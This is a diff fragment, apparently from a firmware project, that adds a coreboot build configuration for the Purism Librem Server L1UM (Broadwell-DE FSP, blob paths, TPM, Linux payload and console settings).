+CONFIG_FSP_FILE="3rdparty/fsp/BroadwellDEFspBinPkg/FspBin/BROADWELLDE_FSP.bin" CONFIG_CBFS_SIZE=0xC00000 +CONFIG_ENABLE_FSP_FAST_BOOT=y +CONFIG_VIRTUAL_ROM_SIZE=0x1000000 +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_IRQ_SLOT_COUNT=18 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DIMM_SPD_SIZE=512 +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_DCACHE_RAM_BASE=0xfe100000 +CONFIG_DCACHE_RAM_SIZE=0x8000 +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_FMDFILE="" +# CONFIG_VBOOT is not set +CONFIG_MMCONF_BASE_ADDRESS=0x80000000 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_FSP_LOC=0xffeb0000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_TPM_INIT=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_DIMM_MAX=4 +CONFIG_TPM_PIRQ=0x0 +CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Server L1UM" CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um/me.bin" CONFIG_HAVE_IFD_BIN=y +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +# CONFIG_INTEGRATED_UART is not set +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_MAINBOARD_VERSION="1.0" +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set CONFIG_BOARD_PURISM_LIBREM_L1UM=y +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_BDW is not set +# CONFIG_PCIEXP_L1_SUB_STATE is not set CONFIG_NO_POST=y +# CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL is not set +CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 +CONFIG_HEAP_SIZE=0x100000 +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=3" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x1000000 +# CONFIG_SYSTEM_TYPE_LAPTOP is not set +# CONFIG_SYSTEM_TYPE_TABLET is not set +# CONFIG_SYSTEM_TYPE_DETACHABLE is not set +# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set +# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set + +# +# Chipset +# + +# +# SoC +# +CONFIG_CPU_SPECIFIC_OPTIONS=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_CPU_ADDR_BITS=36 +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" +# CONFIG_SOC_CAVIUM_CN81XX is not set +CONFIG_ARCH_ARMV8_EXTENSION=0 +CONFIG_STACK_SIZE=0x1000 +# CONFIG_SOC_CAVIUM_COMMON is not set +CONFIG_BOOTBLOCK_CPU_INIT="soc/intel/fsp_broadwell_de/bootblock/bootblock.c" +# CONFIG_SOC_INTEL_GLK is not set +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_FSP_HEADER_PATH="$(top)/3rdparty/fsp/BroadwellDEFspBinPkg/include/" +# CONFIG_PCIEXP_ASPM is not set CONFIG_PCIEXP_COMMON_CLOCK=y +# CONFIG_PCIEXP_CLK_PM is not set +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_TTYS0_BASE=0x3f8 +CONFIG_SOC_INTEL_FSP_BROADWELL_DE=y +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_BROADWELL_DE_FSP_SPECIFIC_OPTIONS=y +CONFIG_FSP_SRC_PATH="$(top)/3rdparty/fsp/BroadwellDEFspBinPkg/include/fspsupport.c" +# CONFIG_FSP_MEMORY_DOWN is not set +CONFIG_FSP_HYPERTHREADING=y CONFIG_FSP_EHCI1_ENABLE=y CONFIG_FSP_EHCI2_ENABLE=y +CONFIG_FSP_DEBUG_LEVEL=0 +CONFIG_UART_PCI_ADDR=0x0 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_CPU is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_CAR is not set +# CONFIG_INTEL_CAR_NEM is not set +# CONFIG_INTEL_CAR_CQOS is not set +# CONFIG_INTEL_CAR_NEM_ENHANCED is not set +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_CSE is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2 is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_IMC=y +# CONFIG_PMC_INVALID_READ_AFTER_WRITE is not set +# CONFIG_SOC_INTEL_COMMON_EARLY_MMC_WAKE is not set +# CONFIG_SOC_INTEL_COMMON_MMC_OVERRIDE is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_SIZE_1MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_PRMRR_DISABLED=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_ESPI_DISABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SA_PCIEX_LENGTH=0x10000000 +# CONFIG_SA_ENABLE_IMR is not set +# CONFIG_SA_ENABLE_DPR is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL is not set +# CONFIG_USE_LEGACY_8254_TIMER is not set + +# +# Intel SoC Common PCH Code +# + +# +# Intel SoC Common coreboot stages +# +# CONFIG_SOC_INTEL_COMMON_RESET is not set +# CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE is not set +# CONFIG_ACPI_CONSOLE is not set +# CONFIG_SOC_INTEL_COMMON_ACPI is not set +# CONFIG_SOC_INTEL_COMMON_NHLT is not set +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +# CONFIG_SOC_MEDIATEK_MT8173 is not set +# CONFIG_SOC_MEDIATEK_MT8183 is not set +# CONFIG_SOC_NVIDIA_TEGRA124 is not set +# CONFIG_SOC_NVIDIA_TEGRA210 is not set +# CONFIG_SOC_QUALCOMM_COMMON is not set +# CONFIG_SOC_QC_IPQ40XX is not set +# CONFIG_SOC_QC_IPQ806X is not set +# CONFIG_SOC_QUALCOMM_QCS405 is not set +# CONFIG_SOC_QUALCOMM_SC7180 is not set +# CONFIG_SOC_QUALCOMM_SDM845 is not set +# CONFIG_SOC_ROCKCHIP_RK3288 is not set +# CONFIG_SOC_ROCKCHIP_RK3399 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set +# CONFIG_SOC_UCB_RISCV is not set + +# +# CPU +# +CONFIG_XIP_ROM_SIZE=0x10000 +CONFIG_NUM_IPI_STARTS=2 +# CONFIG_CPU_AMD_AGESA is not set +CONFIG_ENABLE_MRC_CACHE=y +# CONFIG_CPU_AMD_PI is not set +# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set +CONFIG_SSE2=y +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set +# CONFIG_CPU_TI_AM335X is not set +# CONFIG_PARALLEL_CPU_INIT is not set +CONFIG_PARALLEL_MP=y +# CONFIG_PARALLEL_MP_AP_WORK is not set +# CONFIG_UDELAY_LAPIC is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +# CONFIG_TSC_SYNC_LFENCE is not set +# CONFIG_TSC_SYNC_MFENCE is not set +# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set +CONFIG_LOGICAL_CPUS=y +CONFIG_HAVE_SMI_HANDLER=y +# CONFIG_NO_SMM is not set +# CONFIG_SMM_ASEG is not set +CONFIG_SMM_TSEG=y +CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 +CONFIG_SMM_STUB_STACK_SIZE=0x400 +# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set +# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set +# CONFIG_X86_AMD_FIXED_MTRRS is not set +# CONFIG_X86_AMD_INIT_SIPI is not set +# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set +# CONFIG_SOC_SETS_MSRS is not set +CONFIG_CAR_GLOBAL_MIGRATION=y +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +# CONFIG_USES_MICROCODE_HEADER_FILES is not set +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_l1um/cpu_microcode_blob.bin" + +# +# Northbridge +# +# CONFIG_NORTHBRIDGE_AMD_AGESA is not set +# CONFIG_NORTHBRIDGE_AMD_PI is not set + +# +# Southbridge +# +# CONFIG_AMD_SB_CIMX is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set +# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set + +# +# Super I/O +# +CONFIG_SUPERIO_ASPEED_AST2400=y +CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM=y +# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set +# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set + +# +# Embedded Controllers +# +# CONFIG_EC_GOOGLE_WILCO is not set + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +# CONFIG_HAVE_GBE_BIN is not set +# CONFIG_MAINBOARD_USES_IFD_EC_REGION is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +# CONFIG_CAVIUM_BDK is not set +# CONFIG_MAINBOARD_HAS_CHROMEOS is not set +# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set +# CONFIG_UEFI_2_4_BINDING is not set +# CONFIG_UDK_2015_BINDING is not set +# CONFIG_UDK_2017_BINDING is not set +# CONFIG_USE_SIEMENS_HWILIB is not set +# CONFIG_ARM_LPAE is not set +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +# CONFIG_ARCH_POSTCAR_X86_32 is not set +CONFIG_ARCH_RAMSTAGE_X86_32=y +# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set +# CONFIG_ARCH_VERSTAGE_X86_64 is not set +# CONFIG_ARCH_ROMSTAGE_X86_64 is not set +# CONFIG_ARCH_POSTCAR_X86_64 is not set +# CONFIG_ARCH_RAMSTAGE_X86_64 is not set +# CONFIG_USE_MARCH_586 is not set +# CONFIG_AP_IN_SIPI_WAIT is not set +# CONFIG_SIPI_VECTOR_IN_ROM is not set +CONFIG_RAMBASE=0xe00000 +CONFIG_RAMTOP=0x1000000 +# CONFIG_CBMEM_TOP_BACKUP is not set +CONFIG_PC80_SYSTEM=y +# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set +CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y +# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set +# CONFIG_HPET_ADDRESS_OVERRIDE is not set +CONFIG_HPET_ADDRESS=0xfed00000 +CONFIG_ID_SECTION_OFFSET=0x80 +# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set +# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" +CONFIG_ACPI_HAVE_PCAT_8259=y +# CONFIG_COLLECT_TIMESTAMPS_NO_TSC is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +# CONFIG_PAGING_IN_CACHE_AS_RAM is not set +# CONFIG_IDT_IN_EVERY_STAGE is not set +CONFIG_HAVE_CF9_RESET=y +# CONFIG_PIRQ_ROUTE is not set + +# +# Devices +# +# CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT is not set +# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set +# CONFIG_VGA_ROM_RUN is not set CONFIG_NO_GFX_INIT=y +# CONFIG_MULTIPLE_VGA_ADAPTERS is not set +# CONFIG_SMBUS_HAS_AUX_CHANNELS is not set +CONFIG_PCI=y +# CONFIG_NO_MMCONF_SUPPORT is not set +CONFIG_MMCONF_SUPPORT=y +# CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT is not set +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_AZALIA_PLUGIN_SUPPORT is not set +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +# CONFIG_EARLY_PCI_BRIDGE is not set +# CONFIG_INTEL_GMA_ADD_VBT is not set +# CONFIG_SOFTWARE_I2C is not set + +# +# Generic Drivers +# +# CONFIG_DRIVERS_AS3722_RTC is not set +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_MAINBOARD_HAS_CRB_TPM is not set +# CONFIG_ELOG is not set +# CONFIG_GIC is not set +CONFIG_IPMI_KCS=y +# CONFIG_DRIVERS_LENOVO_WACOM is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_HAS_RECOVERY_MRC_CACHE is not set +# CONFIG_MRC_CLEAR_NORMAL_CACHE_ON_RECOVERY_RETRAIN is not set +# CONFIG_MRC_SETTINGS_VARIABLE_DATA is not set +# CONFIG_MRC_WRITE_NV_LATE is not set +# CONFIG_RT8168_GET_MAC_FROM_VPD is not set +# CONFIG_RT8168_SET_LED_MODE is not set +# CONFIG_SMMSTORE is not set +# CONFIG_SMMSTORE_IN_CBFS is not set +CONFIG_SPI_FLASH=y +# CONFIG_SPI_SDCARD is not set +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set +# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set +# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set +# CONFIG_NO_UART_ON_SUPERIO is not set +# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set +# CONFIG_UART_OVERRIDE_REFCLK is not set +# CONFIG_DRIVERS_UART_8250MEM is not set +# CONFIG_DRIVERS_UART_8250MEM_32 is not set +# CONFIG_HAVE_UART_SPECIAL is not set +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_DRIVERS_UART_PL011 is not set +# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set +# CONFIG_HAVE_USBDEBUG is not set +# CONFIG_HAVE_USBDEBUG_OPTIONS is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_WIFI=y +# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_I2C_MAX98373 is not set +# CONFIG_DRIVERS_I2C_MAX98927 is not set +# CONFIG_DRIVERS_I2C_PCA9538 is not set +# CONFIG_DRIVERS_I2C_PCF8523 is not set +# CONFIG_DRIVERS_I2C_PTN3460 is not set +# CONFIG_DRIVERS_I2C_RT1011 is not set +# CONFIG_DRIVERS_I2C_RT5663 is not set +# CONFIG_DRIVERS_I2C_RTD2132 is not set +# CONFIG_DRIVERS_I2C_RX6110SA is not set +# CONFIG_DRIVERS_I2C_SX9310 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set +CONFIG_PLATFORM_USES_FSP1_0=y + +# +# Intel FSP +# +CONFIG_HAVE_FSP_BIN=y +CONFIG_MRC_CACHE_FMAP=y +CONFIG_USE_GENERIC_FSP_CAR_INC=y +CONFIG_FSP_USES_UPD=y +# CONFIG_PLATFORM_USES_FSP2_0 is not set +# CONFIG_PLATFORM_USES_FSP2_1 is not set +# CONFIG_INTEL_DDI is not set +# CONFIG_INTEL_EDID is not set +# CONFIG_INTEL_INT15 is not set +# CONFIG_INTEL_GMA_ACPI is not set +# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set +# CONFIG_INTEL_GMA_SWSMISCI is not set +# CONFIG_DRIVER_INTEL_I210 is not set +# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set +# CONFIG_HAVE_INTEL_PTT is not set +# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set +# CONFIG_DRIVER_MAXIM_MAX77686 is not set +# CONFIG_DRIVER_PARADE_PS8625 is not set +# CONFIG_DRIVER_PARADE_PS8640 is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_LPC_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_MAINBOARD_HAS_LPC_TPM=y +# CONFIG_DRIVERS_RICOH_RCE822 is not set +# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set +# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set +# CONFIG_DRIVER_TI_TPS65090 is not set +# CONFIG_DRIVERS_TI_TPS65913 is not set +# CONFIG_DRIVERS_TI_TPS65913_RTC is not set +# CONFIG_DRIVERS_USB_ACPI is not set +# CONFIG_COMMONLIB_STORAGE is not set + +# +# Security +# + +# +# Verified Boot (vboot) +# + +# +# Trusted Platform Module +# +CONFIG_TPM1=y +# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y +# CONFIG_USER_TPM2 is not set +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# CONFIG_INTEL_TXT is not set +# CONFIG_ACPI_SATA_GENERATOR is not set +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set +# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +# CONFIG_RTC is not set + +# +# Console +# +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_CONSOLE_SERIAL=y + +# +# I/O mapped, 8250-compatible +# + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set +CONFIG_HWBASE_DEBUG_CB=y +# CONFIG_HAVE_ACPI_RESUME is not set +# CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK is not set +# CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK is not set +# CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK is not set +# CONFIG_NO_MONOTONIC_TIMER is not set +CONFIG_HAVE_MONOTONIC_TIMER=y +# CONFIG_TIMER_QUEUE is not set +# CONFIG_HAVE_OPTION_TABLE is not set +# CONFIG_PCI_IO_CFG_EXT is not set +CONFIG_IOAPIC=y +# CONFIG_USE_WATCHDOG_ON_BOOT is not set +# CONFIG_GFXUMA is not set +CONFIG_HAVE_ACPI_TABLES=y +# CONFIG_COMMON_FADT is not set +# CONFIG_ACPI_NHLT is not set + +# +# System tables +# +# CONFIG_GENERATE_MP_TABLE is not set +# CONFIG_GENERATE_PIRQ_TABLE is not set +CONFIG_GENERATE_SMBIOS_TABLES=y +# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BAYOU is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y +# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set + +# +# Debugging +# + +# +# CPU Debug Settings +# +CONFIG_HAVE_DISPLAY_MTRRS=y +# CONFIG_DISPLAY_MTRRS is not set + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +# CONFIG_HAVE_DEBUG_RAM_SETUP is not set +# CONFIG_HAVE_DEBUG_SMBUS is not set +# CONFIG_DEBUG_SMI is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_TRACE is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +CONFIG_NO_EDID_FILL_FB=y +CONFIG_NO_FMAP_CACHE=y +# CONFIG_ENABLE_APIC_EXT_ID is not set +CONFIG_WARNINGS_ARE_ERRORS=y +# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set +# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set +# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set +# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set +# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set +# CONFIG_REG_SCRIPT is not set +# CONFIG_NO_XIP_EARLY_STAGES is not set +# CONFIG_EARLY_CBMEM_LIST is not set +CONFIG_RELOCATABLE_MODULES=y +CONFIG_NO_STAGE_CACHE=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_l1um_v2.config 